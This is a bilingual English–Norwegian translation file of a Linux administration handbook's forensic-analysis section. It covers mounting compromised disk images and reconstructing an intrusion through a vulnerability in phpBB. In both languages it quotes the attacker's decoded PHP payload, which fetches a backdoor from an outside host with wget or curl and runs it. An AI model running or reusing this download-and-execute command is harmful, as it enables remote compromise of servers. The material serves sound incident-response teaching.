en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
nb-NO: Nå som tjenesten er gjenopprettet, er det på tide å se nærmere på diskbilder av det kompromitterte systemet for å forstå angrepsmetoden. Ved montering av disse bildene, bør man sørge for å bruke <literal>ro,nodev,noexec,noatime</literal>-alternativene for å unngå å endre innholdet (inkludert tidsstempler for tilgangen til filer), eller å kjøre kompromitterte programmer ved en feiltakelse.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
nb-NO: Å gjennomgå et angrepsscenario innebærer vanligvis å lete etter alt som ble endret og kjørt:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
nb-NO: Å lese <filename>.bash_history</filename>-filer er ofte svært interessant;

en: so does listing files that were recently created, modified or accessed;
nb-NO: det gjør også listing av filer som nylig ble opprettet, endret eller åpnet;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
nb-NO: <command>strings</command>-kommandoen kan være til hjelp med å identifisere programmer installert av angriperen, ved å ekstrahere strenger fra binærfiler;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
nb-NO: loggfilene i <filename>/var/log/</filename> gjør det ofte mulig å rekonstruere hendelsesrekkefølgen;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
nb-NO: verktøy for spesielle formål tillater også gjenoppretting av innholdet i potensielt slettede filer, medregnet loggfiler som angripere ofte sletter.

en: Some of these operations can be made easier with specialized software. In particular, the <emphasis role="pkg">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role="pkg">autopsy</emphasis> package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see <xref linkend="sect.kali" />), with its <emphasis>forensic mode</emphasis>, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see <xref linkend="sect.grml" />). <ulink type="block" url="https://blackarch.org" /> <ulink type="block" url="https://grml-forensic.org/" />
nb-NO: Noen av disse operasjonene kan gjøres enklere med spesialisert programvare. Spesielt <emphasis role="pkg">sleuthkit</emphasis>-pakken inneholder mange verktøy for å analysere et filsystem. Bruken er gjort enklere med det grafiske grensesnittet <emphasis>Autopsy Forensic Browser</emphasis> (i <emphasis role="pkg">autopsy</emphasis>-pakken). Noen Linux-distribusjoner har et "kjørbar installering"-avtrykk og inneholder mange programmer for dataetterforskning, for eksempel Kali Linux (se <xref linkend="sect.kali" />), med sin <emphasis>forensic mode</emphasis>, BlackArchLinux, og den kommersielle Grml-Forensic, basert på Grml (se <xref linkend="sect.grml" />). <ulink type="block" url="https://blackarch.org" /><ulink type="block" url="https://grml-forensic.org/" />

en: Reconstituting the Attack Scenario
nb-NO: Å rekonstruere et angrepsscenario

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
nb-NO: Alle elementene samlet under analysen skal passe sammen som brikker i et puslespill; etableringen av de første mistenkelige filer er ofte korrelert med logger som beviser brudd. Et virkelig eksempel bør være tydeligere enn lange teoretiske skriblinger.

en: The following log is an extract from an Apache <filename>access.log</filename>:
nb-NO: Den følgende loggen er et utdrag fra en Apache <filename>access.log</filename>:

en: This example matches exploitation of an old security vulnerability in phpBB. <ulink type="block" url="https://www.phpbb.com/phpBB/viewtopic.php?t=240636" />
nb-NO: Dette eksemplet samsvarer med utnyttelse av et gammelt sikkerhetsproblem i phpBB. <ulink type="block" url="https://www.phpbb.com/phpBB/viewtopic.php?t=240636" />

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
nb-NO: Å dekode denne lange URL-en fører til at en forstår at angriperen klarte å kjøre noe PHP-kode, nemlig: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Selvfølgelig ble en <filename>bd</filename>-fil funnet i <filename>/tmp/</filename>. Å kjøre <command>strings /mnt/tmp/bd</command> returnerer, blant andre strenger, <literal>PsychoPhobia Backdoor is starting...</literal>. Dette ser virkelig ut som en bakdør.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
nb-NO: En tid senere ble denne tilgangen brukt til å laste ned, installere og kjøre en IRC <emphasis>bot</emphasis> som er koblet til et underjordisk IRC-nettverk. Oppstarten kan da styres via denne protokollen, og instrueres til å laste ned filer til deling. Dette programmet har også sin egen loggfil:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
nb-NO: Disse sporene viser at to videofiler er lagret på tjeneren ved hjelp av IP-adressen 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
nb-NO: Parallelt har angriperen også lastet ned et par ekstra filer,<filename>/tmp/pt</filename> og <filename>/tmp/loginx</filename>. Å kjøre disse filene gjennom <command>strings</command> leder til strenger slike som <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> og <foreignphrase>Now wait for suid shell...</foreignphrase>. Disse ser ut som programmer som utnytter lokale sårbarheter for å få administrative rettigheter. Hadde de nådd sine mål? I dette tilfellet sannsynligvis ikke, ettersom ingen filer synes å ha blitt modifisert etter det første innbruddet.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
nb-NO: I dette eksemplet er hele inntrengningen rekonstruert, og det kan utledes at angriperen har greid å dra nytte av det kompromitterte systemet i rundt tre dager. Men det viktigste elementet i analysen er at sikkerhetsbruddet er identifisert, og administratoren kan være sikker på at den nye installasjonen virkelig fikser sårbarheten.
